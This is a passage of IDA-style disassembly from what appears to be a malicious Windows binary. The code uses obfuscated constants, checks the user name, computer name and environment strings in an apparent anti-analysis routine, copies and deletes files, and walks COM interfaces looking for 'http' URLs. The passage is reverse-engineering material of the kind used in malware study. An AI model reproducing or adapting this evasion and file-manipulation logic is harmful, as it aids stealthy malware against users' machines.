		call	ds:dword_44C968	; CreateFileA
		mov	[ebp+var_1070],	eax
		push	0
		lea	eax, [ebp+var_31EDC]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_4]
		push	[ebp+var_1070]
		call	ds:dword_44CD6C	; WriteFile
		push	[ebp+var_1070]
		call	ds:dword_44B82C	; CloseHandle
		push	[ebp+var_4]
		call	ds:dword_4495CC	; LocalFree
		push	0
		push	[ebp+arg_0]
		lea	eax, [ebp+var_116F]
		push	eax
		call	ds:dword_44A534	; CopyFileA
		lea	eax, [ebp+var_116F]
		push	eax
		call	ds:dword_446008	; DeleteFileA
		mov	eax, 1
		jmp	short loc_4409DA
; ---------------------------------------------------------------------------


loc_4409C3:				; CODE XREF: sub_43F4CC+103j
					; sub_43F4CC+11Dj ...
		push	[ebp+var_1070]
		call	ds:dword_44B82C	; CloseHandle
		push	[ebp+var_4]
		call	ds:dword_4495CC	; LocalFree
		xor	eax, eax


loc_4409DA:				; CODE XREF: sub_43F4CC+9Fj
					; sub_43F4CC+14F5j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43F4CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4409DF	proc near		; CODE XREF: sub_43A39F+34p

var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_1FE		= byte ptr -1FEh
var_105		= byte ptr -105h
var_FF		= byte ptr -0FFh

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		call	sub_43AF59
		or	eax, eax
		jz	loc_440C07
		mov	[ebp+var_204], 0FFh
		lea	eax, [ebp+var_204]
		push	eax
		lea	eax, [ebp+var_FF]
		push	eax
		call	ds:dword_4495A0	; GetUserNameA
		mov	eax, dword_44D118
		movsx	eax, [ebp+eax+var_105]
		mov	edx, dword_44D0E0
		sub	edx, 2
		cmp	eax, edx
		jnz	short loc_440A38
		xor	eax, eax
		inc	eax
		jmp	loc_440C07
; ---------------------------------------------------------------------------


loc_440A38:				; CODE XREF: sub_4409DF+4Fj
		push	offset byte_44E29F
		call	sub_43AC82
		mov	edx, dword_44D158
		add	edx, dword_44D118
		sub	edx, 0Dh
		push	edx
		push	eax
		lea	edx, [ebp+var_FF]
		push	edx
		call	sub_444D98
		add	esp, 10h
		movsx	ecx, word_44D204
		add	ecx, 0FFF9h
		cmp	eax, ecx
		jz	short loc_440A7B
		xor	eax, eax
		inc	eax
		jmp	loc_440C07
; ---------------------------------------------------------------------------


loc_440A7B:				; CODE XREF: sub_4409DF+92j
		push	offset byte_44E293
		call	sub_43AC82
		mov	edx, dword_44D168
		sub	edx, 8
		push	edx
		push	eax
		lea	edx, [ebp+var_FF]
		push	edx
		call	sub_444D98
		add	esp, 10h
		mov	edx, eax
		movsx	ecx, word_44D0F4
		movsx	eax, word_44D164
		lea	ecx, [ecx+eax+0FFF4h]
		cmp	edx, ecx
		jz	short loc_440AC2
		xor	eax, eax
		inc	eax
		jmp	loc_440C07
; ---------------------------------------------------------------------------


loc_440AC2:				; CODE XREF: sub_4409DF+D9j
		mov	[ebp+var_208], 0FFh
		lea	eax, [ebp+var_208]
		push	eax
		lea	eax, [ebp+var_1FE]
		push	eax
		call	ds:dword_446038	; GetComputerNameA
		push	offset word_44E28E
		call	sub_43AC82
		push	eax
		lea	edx, [ebp+var_1FE]
		push	edx
		call	ds:dword_446024
		mov	eax, dword_44D14C
		sub	eax, 7
		push	eax
		lea	eax, [ebp+var_FF]
		push	eax
		lea	eax, [ebp+var_1FE]
		push	eax
		call	sub_444D98
		add	esp, 18h
		mov	edx, dword_44D1D4
		add	edx, 0FFFAh
		cmp	eax, edx
		jz	short loc_440B2F
		xor	eax, eax
		inc	eax
		jmp	loc_440C07
; ---------------------------------------------------------------------------


loc_440B2F:				; CODE XREF: sub_4409DF+146j
		call	ds:dword_44C800	; GetEnvironmentStringsA
		mov	esi, eax
		mov	edi, esi
		xor	ebx, ebx


loc_440B3B:				; CODE XREF: sub_4409DF+211j
		mov	eax, dword_44D1F8
		sub	eax, 6
		movzx	eax, byte ptr [edi+eax]
		mov	edx, dword_44D100
		sub	edx, 7
		cmp	eax, edx
		jz	loc_440BF5
		mov	ecx, edi
		or	eax, 0FFFFFFFFh


loc_440B5D:				; CODE XREF: sub_4409DF+183j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_440B5D
		mov	[ebp+var_20C], eax
		push	offset dword_44E284
		call	sub_43AC82
		add	esp, 4
		movsx	edx, word_44D0B4
		sub	edx, 3
		push	edx
		push	eax
		push	edi
		call	sub_444D98
		add	esp, 0Ch
		mov	ecx, dword_44D1F4
		add	ecx, 0FFFCh
		cmp	eax, ecx
		jz	short loc_440BA3
		mov	ebx, 1
		jmp	short loc_440BF5
; ---------------------------------------------------------------------------


loc_440BA3:				; CODE XREF: sub_4409DF+1BBj
		push	offset byte_44E273
		call	sub_43AC82
		mov	edx, dword_44D170
		add	edx, dword_44D1AC
		sub	edx, 9
		push	edx
		push	eax
		push	edi
		call	sub_444D98
		add	esp, 10h
		mov	ecx, dword_44D1D4
		add	ecx, 0FFFAh
		cmp	eax, ecx
		jz	short loc_440BDC
		xor	ebx, ebx
		inc	ebx
		jmp	short loc_440BF5
; ---------------------------------------------------------------------------


loc_440BDC:				; CODE XREF: sub_4409DF+1F6j
		mov	eax, dword_44D234
		sub	eax, 2
		mov	edx, [ebp+var_20C]
		add	edx, edi
		mov	edi, eax
		add	edi, edx
		jmp	loc_440B3B
; ---------------------------------------------------------------------------


loc_440BF5:				; CODE XREF: sub_4409DF+173j
					; sub_4409DF+1C2j ...
		push	esi
		call	ds:dword_44B828	; FreeEnvironmentStringsA
		or	ebx, ebx
		jz	short loc_440C05
		xor	eax, eax
		inc	eax
		jmp	short loc_440C07
; ---------------------------------------------------------------------------


loc_440C05:				; CODE XREF: sub_4409DF+21Fj
		xor	eax, eax


loc_440C07:				; CODE XREF: sub_4409DF+13j
					; sub_4409DF+54j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4409DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_440C0C	proc near		; DATA XREF: .data:off_44D364o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_8]
		push	offset dword_44ECC4
		push	esi
		call	ds:dword_44C824
		or	eax, eax
		jz	short loc_440C38
		mov	eax, [ebp+arg_0]
		mov	[edi], eax
		push	dword ptr [edi]
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		xor	eax, eax
		jmp	short loc_440C80
; ---------------------------------------------------------------------------


loc_440C38:				; CODE XREF: sub_440C0C+1Aj
		push	offset dword_44EC34
		push	esi
		call	ds:dword_44C824
		or	eax, eax
		jz	short loc_440C58
		mov	eax, [ebp+arg_0]
		mov	[edi], eax
		push	dword ptr [edi]
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		xor	eax, eax
		jmp	short loc_440C80
; ---------------------------------------------------------------------------


loc_440C58:				; CODE XREF: sub_440C0C+3Aj
		push	offset dword_44EBF4
		push	esi
		call	ds:dword_44C824
		or	eax, eax
		jz	short loc_440C78
		mov	eax, [ebp+arg_0]
		mov	[edi], eax
		push	dword ptr [edi]
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		xor	eax, eax
		jmp	short loc_440C80
; ---------------------------------------------------------------------------


loc_440C78:				; CODE XREF: sub_440C0C+5Aj
		and	dword ptr [edi], 0
		mov	eax, 80004002h


loc_440C80:				; CODE XREF: sub_440C0C+2Aj
					; sub_440C0C+4Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_440C0C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_440C87	proc near		; DATA XREF: .data:0044D36Co
		push	ebp
		mov	ebp, esp
		mov	eax, dword_44D0AC
		add	eax, dword_44D22C
		sub	eax, 9
		cmp	ds:dword_4495B8, eax
		jbe	short loc_440CAB
		push	offset dword_4495B8
		call	ds:dword_446010	; InterlockedDecrement


loc_440CAB:				; CODE XREF: sub_440C87+17j
		mov	eax, ds:dword_4495B8
		pop	ebp
		retn	4
sub_440C87	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_440CB4	proc near		; CODE XREF: sub_43E524+238p
					; sub_43EB7A+304p ...

var_120A	= byte ptr -120Ah
var_110B	= byte ptr -110Bh
var_100C	= dword	ptr -100Ch
var_1008	= dword	ptr -1008h
var_1004	= dword	ptr -1004h
var_FFF		= byte ptr -0FFFh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 120Ch
		call	sub_445950
		push	ebx
		push	esi
		push	edi
		push	offset dword_44DE44
		call	sub_43AC82
		push	eax
		lea	edi, [ebp+var_FFF]
		push	edi
		call	ds:dword_44C810
		add	esp, 0Ch
		mov	esi, dword_44D1A0
		jmp	short loc_440D07
; ---------------------------------------------------------------------------


loc_440CE7:				; CODE XREF: sub_440CB4+59j
		cmp	[ebp+esi+var_FFF], 23h
		jnz	short loc_440D06
		mov	eax, dword_44D150
		add	eax, dword_44D1B0
		sub	eax, 9
		mov	[ebp+esi+var_FFF], al


loc_440D06:				; CODE XREF: sub_440CB4+3Bj
		inc	esi


loc_440D07:				; CODE XREF: sub_440CB4+31j
		cmp	esi, 0FFFh
		jb	short loc_440CE7
		movsx	eax, word_44D128
		add	eax, dword_44D1D8
		sub	eax, 8
		mov	[ebp+var_1004],	eax
		mov	ebx, dword_44D1E0
		dec	ebx
		cmp	[ebp+arg_0], 0
		jnz	short loc_440D91


loc_440D32:				; CODE XREF: sub_440CB4+DBj
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_1004],	eax
		jnz	short loc_440D54
		lea	eax, [ebp+ebx+var_FFF]
		push	eax
		push	offset dword_44C850
		call	sub_445970
		jmp	loc_440FDA
; ---------------------------------------------------------------------------


loc_440D54:				; CODE XREF: sub_440CB4+87j
		lea	ecx, [ebp+ebx+var_FFF]
		or	eax, 0FFFFFFFFh


loc_440D5E:				; CODE XREF: sub_440CB4+AFj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_440D5E
		add	ebx, eax
		add	ebx, 1
		inc	[ebp+var_1004]
		movsx	eax, [ebp+ebx+var_FFF]
		mov	edx, dword_44D1BC
		add	edx, dword_44D0CC
		sub	edx, 9
		cmp	eax, edx
		jz	loc_440FDA
		jmp	short loc_440D32
; ---------------------------------------------------------------------------


loc_440D91:				; CODE XREF: sub_440CB4+7Cj
		mov	eax, dword_44D31C
		mov	[ebp+var_1008],	eax
		movsx	eax, word_44D148
		mov	edx, [ebp+arg_0]
		mov	ecx, dword_44D0D8
		add	ecx, dword_44D0F0
		sub	ecx, 5
		mov	[edx+eax], cl
		movsx	ebx, word_44D204
		sub	ebx, 6
		mov	eax, dword_44D0C0
		add	eax, dword_44D13C
		sub	eax, 0Ch
		mov	[ebp+var_1004],	eax


loc_440DD6:				; CODE XREF: sub_440CB4+2FEj
		push	offset byte_44DE39
		call	sub_43AC82
		push	eax
		lea	edi, [ebp+var_110B]
		push	edi
		call	sub_445970
		lea	eax, [ebp+ebx+var_FFF]
		push	eax
		lea	eax, [ebp+var_110B]
		push	eax
		call	ds:dword_446024
		add	esp, 0Ch
		call	ds:dword_44CD90
		mov	ecx, 14h
		cdq
		idiv	ecx
		mov	[ebp+var_100C],	edx
		mov	eax, dword_44D1BC
		add	eax, dword_44D09C
		sub	eax, 2
		cmp	edx, eax
		jnb	loc_440F04
		push	[ebp+var_1008]
		lea	eax, [ebp+var_120A]
		push	eax
		call	sub_44318C
		push	dword_44D18C
		lea	eax, [ebp+var_110B]
		push	eax
		push	[ebp+arg_0]
		call	sub_444D98
		add	esp, 14h
		mov	edi, dword_44D1E4
		add	edi, 0FFFEh
		cmp	eax, edi
		jnz	short loc_440E90
		lea	eax, [ebp+var_110B]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_446024
		push	offset dword_44DE34
		call	sub_43AC82
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_446024
		add	esp, 14h


loc_440E90:				; CODE XREF: sub_440CB4+1B3j
		movsx	eax, word_44D220
		add	eax, dword_44D208
		sub	eax, 0Ch
		push	eax
		lea	eax, [ebp+var_120A]
		push	eax
		push	[ebp+arg_0]
		call	sub_444D98
		add	esp, 0Ch
		mov	edi, dword_44D0C8
		add	edi, 0FFFDh
		cmp	eax, edi
		jnz	short loc_440EFE
		push	offset byte_44DE29
		call	sub_43AC82
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_446024
		lea	eax, [ebp+var_120A]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_446024
		push	offset dword_44DE24
		call	sub_43AC82
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_446024
		add	esp, 20h


loc_440EFE:				; CODE XREF: sub_440CB4+20Dj
		inc	[ebp+var_1008]


loc_440F04:				; CODE XREF: sub_440CB4+175j
		push	[ebp+var_1004]
		call	sub_44450E
		pop	ecx
		mov	[ebp+var_100C],	eax
		mov	eax, dword_44D108
		movsx	edx, word_44D0F4
		add	eax, edx
		sub	eax, 0Eh
		cmp	[ebp+var_100C],	eax
		jnb	short loc_440F83
		movsx	eax, word_44D160
		sub	eax, 5
		push	eax
		lea	eax, [ebp+var_110B]
		push	eax
		push	[ebp+arg_0]
		call	sub_444D98
		add	esp, 0Ch
		mov	edi, dword_44D1A0
		add	edi, 0FFFFh
		cmp	eax, edi
		jnz	short loc_440F83
		lea	eax, [ebp+var_110B]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_446024
		push	offset byte_44DE1F
		call	sub_43AC82
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_446024
		add	esp, 14h


loc_440F83:				; CODE XREF: sub_440CB4+279j
					; sub_440CB4+2A6j
		lea	ecx, [ebp+ebx+var_FFF]
		or	eax, 0FFFFFFFFh


loc_440F8D:				; CODE XREF: sub_440CB4+2DEj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_440F8D
		add	ebx, eax
		add	ebx, 1
		inc	[ebp+var_1004]
		movsx	eax, [ebp+ebx+var_FFF]
		mov	edx, dword_44D0AC
		sub	edx, 5
		cmp	eax, edx
		jnz	loc_440DD6
		push	offset word_44DE1A
		call	sub_43AC82
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_446024
		add	esp, 0Ch
		mov	eax, [ebp+var_1008]
		mov	dword_44D31C, eax


loc_440FDA:				; CODE XREF: sub_440CB4+9Bj
					; sub_440CB4+D5j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_440CB4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_440FDF	proc near		; CODE XREF: sub_43EB7A+125p
					; DATA XREF: sub_43E524+102o

var_104		= byte ptr -104h
var_FF		= byte ptr -0FFh

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	esi
		push	edi
		push	0
		push	dword_44D0DC
		push	3
		push	0
		mov	eax, dword_44D0D8
		sub	eax, 5
		push	eax
		push	80000000h
		push	offset dword_44A220
		call	ds:dword_44C968	; CreateFileA
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_44101D
		mov	eax, 2Ah
		jmp	short loc_441080
; ---------------------------------------------------------------------------


loc_44101D:				; CODE XREF: sub_440FDF+35j
		push	0
		lea	eax, [ebp+var_104]
		push	eax
		push	0FFh
		lea	eax, [ebp+var_FF]
		push	eax
		push	edi
		call	ds:dword_44602C	; ReadFile
		mov	esi, eax
		push	edi
		call	ds:dword_44B82C	; CloseHandle
		mov	eax, dword_44D1A8
		movsx	edx, word_44D110
		add	eax, edx
		sub	eax, 8
		cmp	esi, eax
		jnz	short loc_44105E
		mov	eax, 2Ah
		jmp	short loc_441080
; ---------------------------------------------------------------------------


loc_44105E:				; CODE XREF: sub_440FDF+76j
		movzx	eax, [ebp+var_FF]
		mov	edx, dword_44D0A4
		add	edx, 18h
		cmp	eax, edx
		jge	short loc_441079
		mov	eax, 2Ah
		jmp	short loc_441080
; ---------------------------------------------------------------------------


loc_441079:				; CODE XREF: sub_440FDF+91j
		movzx	eax, [ebp+var_FF]


loc_441080:				; CODE XREF: sub_440FDF+3Cj
					; sub_440FDF+7Dj ...
		pop	edi
		pop	esi
		leave
		retn
sub_440FDF	endp


; =============== S U B	R O U T	I N E =======================================



sub_441084	proc near		; DATA XREF: .data:0044D32Co
		mov	eax, 80004001h
		retn	8
sub_441084	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44108C	proc near		; CODE XREF: sub_43F4CC+379p
					; sub_43F4CC+483p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		div	esi
		movsx	edi, word_44D128
		sub	edi, 5
		cmp	edx, edi
		jnz	short loc_4410B1
		mov	eax, [ebp+arg_0]
		jmp	short loc_4410CB
; ---------------------------------------------------------------------------


loc_4410B1:				; CODE XREF: sub_44108C+1Ej
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		div	esi
		mov	[ebp+var_8], eax
		mov	edi, eax
		mul	esi
		mov	[ebp+var_C], eax
		mov	edi, eax
		add	edi, esi
		mov	[ebp+var_4], edi
		mov	eax, edi


loc_4410CB:				; CODE XREF: sub_44108C+23j
		pop	edi
		pop	esi
		leave
		retn
sub_44108C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4410CF	proc near		; CODE XREF: sub_43EB7A+357p
					; sub_43EB7A+3E5p

var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		push	0
		push	80h
		push	4
		push	0
		mov	eax, dword_44D22C
		sub	eax, 4
		push	eax
		push	40000000h
		push	offset dword_44A220
		call	ds:dword_44C968	; CreateFileA
		mov	edi, eax
		push	0
		push	0
		push	[ebp+arg_4]
		push	edi
		call	ds:dword_44CD80	; SetFilePointer
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		or	eax, 0FFFFFFFFh


loc_441112:				; CODE XREF: sub_4410CF+48j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_441112
		mov	esi, eax
		push	0
		lea	ebx, [ebp+var_4]
		push	ebx
		push	esi
		push	[ebp+arg_0]
		push	edi
		call	ds:dword_44CD6C	; WriteFile
		push	edi
		call	ds:dword_44B82C	; CloseHandle
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4410CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_441138	proc near		; CODE XREF: sub_43B6DF+2Ap

var_71F16	= byte ptr -71F16h
var_71F10	= dword	ptr -71F10h
var_71F0C	= dword	ptr -71F0Ch
var_71F07	= byte ptr -71F07h
var_70F08	= word ptr -70F08h
var_70F00	= dword	ptr -70F00h
var_70EF8	= dword	ptr -70EF8h
var_70EF4	= dword	ptr -70EF4h
var_70EF0	= byte ptr -70EF0h
var_70EEF	= byte ptr -70EEFh
var_60EF0	= word ptr -60EF0h
var_60EE8	= dword	ptr -60EE8h
var_60EDD	= byte ptr -60EDDh
var_60EDC	= dword	ptr -60EDCh
var_60ED8	= dword	ptr -60ED8h
var_60ED4	= dword	ptr -60ED4h
var_60ED0	= word ptr -60ED0h
var_60EC8	= dword	ptr -60EC8h
var_60EC0	= dword	ptr -60EC0h
var_60EBC	= dword	ptr -60EBCh
var_60EB8	= dword	ptr -60EB8h
var_60EB4	= dword	ptr -60EB4h
var_60EB0	= dword	ptr -60EB0h
var_60EAC	= dword	ptr -60EACh
var_60EA8	= dword	ptr -60EA8h
var_60EA4	= dword	ptr -60EA4h
var_60E9F	= byte ptr -60E9Fh
var_50EA4	= byte ptr -50EA4h
var_50EA0	= dword	ptr -50EA0h
var_50E9B	= byte ptr -50E9Bh
var_40EB8	= byte ptr -40EB8h
var_40EB0	= dword	ptr -40EB0h
var_40EA8	= word ptr -40EA8h
var_40EA0	= dword	ptr -40EA0h
var_40E9C	= dword	ptr -40E9Ch
var_40E98	= dword	ptr -40E98h
var_40E94	= byte ptr -40E94h
var_40E90	= dword	ptr -40E90h
var_40E8C	= dword	ptr -40E8Ch
var_40E88	= dword	ptr -40E88h
var_40E84	= dword	ptr -40E84h
var_40E80	= byte ptr -40E80h
var_40E78	= dword	ptr -40E78h
var_40E70	= dword	ptr -40E70h
var_40E6C	= dword	ptr -40E6Ch
var_40E68	= dword	ptr -40E68h
var_40E64	= dword	ptr -40E64h
var_40E60	= dword	ptr -40E60h
var_40E5C	= dword	ptr -40E5Ch
var_40E57	= byte ptr -40E57h
var_40E56	= byte ptr -40E56h
var_40E55	= byte ptr -40E55h
var_40E54	= byte ptr -40E54h
var_30E58	= dword	ptr -30E58h
var_30E54	= dword	ptr -30E54h
var_30E50	= dword	ptr -30E50h
var_30E4C	= dword	ptr -30E4Ch
var_30E48	= dword	ptr -30E48h
var_30E44	= dword	ptr -30E44h
var_30E3F	= byte ptr -30E3Fh
var_30D40	= byte ptr -30D40h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 71F10h
		call	sub_445950
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_40E80]
		push	eax
		call	ds:dword_446040
		lea	eax, [ebp+var_40E94]
		push	eax
		lea	eax, [ebp+var_40E80]
		push	eax
		push	9
		mov	eax, dword_44D1D8
		sub	eax, 3
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_44A218
		mov	ebx, eax
		cmp	ebx, dword_44D248
		jnz	loc_441EC6
		mov	eax, [ebp+var_40E78]
		mov	[ebp+var_40E64], eax
		and	[ebp+var_40E60], 0
		lea	eax, [ebp+var_40E60]
		push	eax
		push	offset dword_44ECD4
		mov	eax, [ebp+var_40E64]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	eax, dword_44D1F4
		add	eax, dword_44D0FC
		sub	eax, 0Ah
		cmp	ebx, eax
		jnz	loc_441EC6
		lea	eax, [ebp+var_40E84]
		push	eax
		mov	eax, [ebp+var_40E60]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+78h]
		mov	ebx, eax
		mov	eax, dword_44D0B0
		add	eax, dword_44D150
		sub	eax, 0Bh
		cmp	ebx, eax
		jnz	loc_441EBA
		lea	eax, [ebp+var_40E57]
		push	eax
		push	[ebp+var_40E84]
		call	sub_43B896
		add	esp, 8
		mov	edi, eax
		inc	edi
		mov	[ebp+var_40E98], edi
		push	[ebp+var_40E84]
		call	ds:dword_44CD84
		cmp	[ebp+var_40E57], 68h
		jnz	short loc_441245
		cmp	[ebp+var_40E56], 74h
		jnz	short loc_441245
		cmp	[ebp+var_40E55], 74h
		jnz	short loc_441245
		cmp	[ebp+var_40E54], 70h
		jz	short loc_44124A


loc_441245:				; CODE XREF: sub_441138+F0j
					; sub_441138+F9j ...
		jmp	loc_441EBA
; ---------------------------------------------------------------------------


loc_44124A:				; CODE XREF: sub_441138+10Bj
		lea	eax, [ebp+var_30E4C]
		push	eax
		mov	eax, [ebp+var_40E60]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+94h]
		mov	ebx, eax
		mov	eax, dword_44D170
		sub	eax, 5
		cmp	ebx, eax
		jz	short loc_441275
		and	[ebp+var_30E4C], 0


loc_441275:				; CODE XREF: sub_441138+134j
		lea	eax, [ebp+var_40E68]
		push	eax
		mov	eax, [ebp+var_40E60]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+48h]
		mov	ebx, eax
		mov	eax, dword_44D1CC
		dec	eax
		cmp	ebx, eax
		jnz	loc_441EBA
		lea	eax, [ebp+var_40E6C]
		push	eax
		push	offset dword_44EC44
		mov	eax, [ebp+var_40E68]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		movsx	eax, word_44D0F8
		dec	eax
		cmp	ebx, eax
		jnz	loc_441EAE
		lea	eax, [ebp+var_40E70]
		push	eax
		mov	eax, [ebp+var_40E6C]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+5Ch]
		mov	ebx, eax
		movsx	eax, word_44D1F0
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		sub	eax, 4
		cmp	ebx, eax
		jnz	loc_441EA2
		lea	eax, [ebp+var_40E90]
		push	eax
		mov	eax, [ebp+var_40E70]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+20h]
		mov	ebx, eax
		mov	eax, dword_44D20C
		sub	eax, 7
		cmp	ebx, eax
		jnz	loc_441E96
		movsx	eax, word_44D090
		sub	eax, 4
		neg	eax
		mov	[ebp+var_40E5C], eax
		push	offset dword_44DE08
		call	sub_442CEF
		push	eax
		call	ds:dword_446FF8
		mov	[ebp+var_30E44], eax
		push	offset dword_44DDF8
		call	sub_442CEF
		add	esp, 8
		push	eax
		call	ds:dword_446FF8
		mov	[ebp+var_30E48], eax
		lea	eax, [ebp+var_40E57]
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	sub_445970


loc_44136E:				; CODE XREF: sub_441138+D32j
		and	[ebp+var_40E88], 0
		and	[ebp+var_40E8C], 0
		mov	eax, dword_44D1A8
		sub	eax, 7
		neg	eax
		cmp	[ebp+var_40E5C], eax
		jnz	short loc_4413D3
		lea	eax, [ebp+var_30E54]
		push	eax
		mov	eax, [ebp+var_40E6C]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+38h]
		mov	ebx, eax
		mov	eax, dword_44D24C
		sub	eax, 9
		cmp	ebx, eax
		jnz	loc_441E58
		push	offset byte_44DDE7
		call	sub_43AC82
		push	eax
		lea	edi, [ebp+var_30D40]
		push	edi
		call	ds:dword_446024
		add	esp, 0Ch
		jmp	loc_4414EE
; ---------------------------------------------------------------------------


loc_4413D3:				; CODE XREF: sub_441138+254j
		mov	[ebp+var_40EA8], 17h
		mov	eax, [ebp+var_40E5C]
		mov	[ebp+var_40EA0], eax
		lea	eax, [ebp+var_40EB8]
		push	eax
		lea	eax, [ebp+var_40EA8]
		push	eax
		mov	eax, [ebp+var_40E70]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+1Ch]
		lea	eax, [ebp+var_40E88]
		push	eax
		push	offset dword_44EC94
		push	[ebp+var_40EB0]
		mov	edi, [ebp+var_40EB0]
		mov	edi, [edi]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	eax, dword_44D17C
		movsx	edx, word_44D228
		add	eax, edx
		sub	eax, 0Dh
		cmp	ebx, eax
		jnz	loc_441E58
		lea	eax, [ebp+var_40E8C]
		push	eax
		mov	eax, [ebp+var_40E88]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+0D0h]
		mov	ebx, eax
		movsx	eax, word_44D204
		sub	eax, 6
		cmp	ebx, eax
		jz	short loc_441475
		mov	eax, [ebp+var_40E88]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		jmp	loc_441E58
; ---------------------------------------------------------------------------


loc_441475:				; CODE XREF: sub_441138+32Aj
		lea	eax, [ebp+var_30E54]
		push	eax
		mov	eax, [ebp+var_40E8C]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+38h]
		mov	ebx, eax
		mov	eax, dword_44D150
		add	eax, dword_44D238
		sub	eax, 0Bh
		cmp	ebx, eax
		jz	short loc_4414B9
		mov	eax, [ebp+var_40E8C]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		mov	eax, [ebp+var_40E88]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		jmp	loc_441E58
; ---------------------------------------------------------------------------


loc_4414B9:				; CODE XREF: sub_441138+362j
		push	offset dword_44DDD8
		call	sub_43AC82
		push	[ebp+var_40E5C]
		push	eax
		lea	edi, [ebp+var_30E3F]
		push	edi
		call	ds:dword_44C810
		lea	eax, [ebp+var_30E3F]
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	ds:dword_446024
		add	esp, 18h


loc_4414EE:				; CODE XREF: sub_441138+296j
		lea	eax, [ebp+var_30E58]
		push	eax
		mov	eax, [ebp+var_30E54]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+24h]
		mov	ebx, eax
		mov	eax, dword_44D1AC
		sub	eax, 5
		cmp	ebx, eax
		jnz	loc_441E58
		mov	eax, dword_44D0A8
		sub	eax, 4
		mov	[ebp+var_30E50], eax
		jmp	loc_441E46
; ---------------------------------------------------------------------------


loc_441526:				; CODE XREF: sub_441138+D1Aj
		mov	[ebp+var_60ED0], 2
		mov	eax, [ebp+var_30E50]
		mov	[ebp+var_60EC8], eax
		movsx	eax, word_44D1DC
		mov	edx, dword_44D0D8
		sub	edx, 5
		mov	[ebp+eax+var_50EA4], dl
		lea	eax, [ebp+var_60EC0]
		push	eax
		lea	esi, [ebp+var_60ED0]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		lea	esi, [ebp+var_60ED0]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp+var_30E54]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+2Ch]
		mov	ebx, eax
		movsx	eax, word_44D090
